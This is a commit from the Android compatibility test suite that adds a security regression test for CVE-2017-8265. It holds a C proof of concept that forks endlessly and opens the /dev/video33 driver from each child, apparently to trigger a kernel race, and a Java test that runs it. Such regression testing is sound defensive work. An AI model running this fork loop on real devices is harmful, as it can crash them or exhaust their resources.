CTS/STS test for Android Security b/32341313

Bug:32341313
Change-Id: I15422f5e42f16c40b865241fcf005529237f3005
(cherry picked from commit d1e637faf06b5203b1b84f0d2c15ce62d6e9c0a8)
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 3c52d9d..e4b63d7 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -63,6 +63,7 @@
         <option name="push" value="Bug-35047217->/data/local/tmp/Bug-35047217" />
         <option name="push" value="CVE-2017-0705->/data/local/tmp/CVE-2017-0705" />
         <option name="push" value="CVE-2017-8263->/data/local/tmp/CVE-2017-8263" />
+        <option name="push" value="CVE-2017-8265->/data/local/tmp/CVE-2017-8265" />
         <option name="append-bitness" value="true" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/security/securityPatch/CVE-2017-8265/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-8265/Android.mk
new file mode 100644
index 0000000..3910cc9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-8265/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project

+#

+# Licensed under the Apache License, Version 2.0 (the "License");

+# you may not use this file except in compliance with the License.

+# You may obtain a copy of the License at

+#

+#      http://www.apache.org/licenses/LICENSE-2.0

+#

+# Unless required by applicable law or agreed to in writing, software

+# distributed under the License is distributed on an "AS IS" BASIS,

+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+# See the License for the specific language governing permissions and

+# limitations under the License.

+

+LOCAL_PATH := $(call my-dir)

+

+include $(CLEAR_VARS)

+LOCAL_MODULE := CVE-2017-8265

+LOCAL_SRC_FILES := poc.c

+LOCAL_MULTILIB := both

+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

+

+# Tag this module as a cts test artifact

+LOCAL_COMPATIBILITY_SUITE := cts

+LOCAL_CTS_TEST_PACKAGE := android.security.cts

+

+LOCAL_ARM_MODE := arm

+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

+CFLAGS += -Iinclude -fPIE

+LOCAL_LDFLAGS += -fPIE -pie

+LDFLAGS += -rdynamic

+include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/CVE-2017-8265/poc.c b/hostsidetests/security/securityPatch/CVE-2017-8265/poc.c
new file mode 100644
index 0000000..0eaabf7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-8265/poc.c
@@ -0,0 +1,48 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/syscall.h>
+#include <string.h>
+#include <stdint.h>
+#include <pthread.h>
+#include <linux/ion.h>
+
+int poc()
+{
+    int fd[2];
+    fd[0] = open("/dev/video33",0x0ul,0x0ul);
+    fd[1] = open("/dev/video33",0x0ul,0x0ul);
+    return 0;
+}
+
+int main()
+{
+    int pid;
+
+    while(1) {
+        pid = fork();
+        if(!pid) {
+            return poc();
+        }
+    }
+    return 0;
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_07.java b/hostsidetests/security/src/android/security/cts/Poc17_07.java
index 6c4a2f3..a595832 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_07.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_07.java
@@ -64,4 +64,15 @@
             AdbUtils.runPoc("CVE-2017-8263", getDevice(), 60);
         }
     }
+
+    /**
+     *  b/32341313
+     */
+    @SecurityTest
+    public void testPocCVE_2017_8265() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/video33")) {
+            AdbUtils.runPoc("CVE-2017-8265", getDevice(), 60);
+        }
+    }
 }